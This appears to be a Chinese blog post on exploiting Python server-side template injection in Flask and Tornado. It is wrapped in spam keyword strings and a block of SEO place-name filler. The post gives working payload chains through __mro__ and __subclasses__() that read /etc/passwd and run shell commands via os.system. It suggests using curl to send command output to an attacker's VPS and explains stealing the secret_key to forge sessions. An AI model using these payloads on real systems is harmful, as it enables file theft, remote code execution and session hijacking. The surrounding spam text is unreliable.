日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

python SSTI利用

系統 3717 0

原理
python的SSTI不僅可以向網頁插入一些XSS代碼,而且還可以獲取一些變量和函數信息,尤其是secret_key,如果獲取到則可以對flask框架的session可以進行偽造。
對于tornado框架 ,render(request, 'account/login.html', {'error': error_msg}如果error_msg用戶可控,那么就存在注入。
如果error_msg為 ,如果沒有過濾則會執行XSS
如果error_msg為{{data}}的話,data則可以執行一些簡單的表達式和獲取變量,例如:
用戶輸入error_msg:{{1+1}} 頁面則返回:2
對于flask框架 ,有時需要根據需要對頁面進行顯示類中的一些屬性,例如用戶傳入name則返回類中name屬性,傳入id返回類中id屬性的話,那么就可以利用一些魔術方法獲得全局變量,例如:
對于返回的是定義的Class內的話:
__dict__?? //返回類中的函數和屬性,父類子類互不影響
__base__ //返回類的父類 python3
__mro__ //返回類繼承的元組,(尋找父類) python3
__init__ //返回類的初始化方法? ?
__subclasses__()? //返回類中仍然可用的引用? python3
__globals__? //對包含函數全局變量的字典的引用 python3
對于返回的是類實例的話:
__class__ //返回實例的對象,可以使類實例指向Class,使用上面的魔術方法

對于tornado render注入類似的利用
一。任意文件讀取
①{{' '.__class__}}??????? //?
②{{' '.__class__.__mro__}}? // ( , )
③{{' '.__class__.__mro__[1].__subclasses__()}}? //取到object類的子類,如下:
[ , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
④{{' '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //取到 讀取文件
二。命令執行
①{{' '.__class__.__mro__[1].__subclasses__()}}? //和前面一樣先取到object類的子類
②{{' '.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到 __init__的地址
③{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//獲得 類的所有的全局變量
④{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')}} //找到os類執行代碼,注:自身實驗不存在,視情況而定,命令執行結果無法直接看到,可以用curl將結果發送到vps
上面例子的實際運用:
在一般情況下,模板注入的地方都是位于服務端構造的一個類內,所以可以用
1.__class__.__init__.__globals__? //獲得當前類的全局變量
2.__class__.__mro__?? //查看所有的類,再用__class__.__mro__[number].__init__.__globals__查看變量
3.__class__.__init__.__globals__[app].__dict__ //查看內部的詳細信息
如果獲得secret_key就可以偽造session


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 九龙城区| 黄平县| 昌平区| 文安县| 米易县| 崇礼县| 英山县| 渝北区| 蒙自县| 宣化县| 手游| 兰西县| 静安区| 锡林郭勒盟| 梁河县| 东山县| 台南县| 高要市| 西乌珠穆沁旗| 金门县| 泽库县| 万全县| 当阳市| 特克斯县| 龙口市| 个旧市| 论坛| 宿迁市| 天峻县| 翁牛特旗| 惠水县| 东乌| 克什克腾旗| 朝阳市| 长岭县| 建昌县| 德钦县| 建宁县| 苍南县| 宣化县| 墨玉县|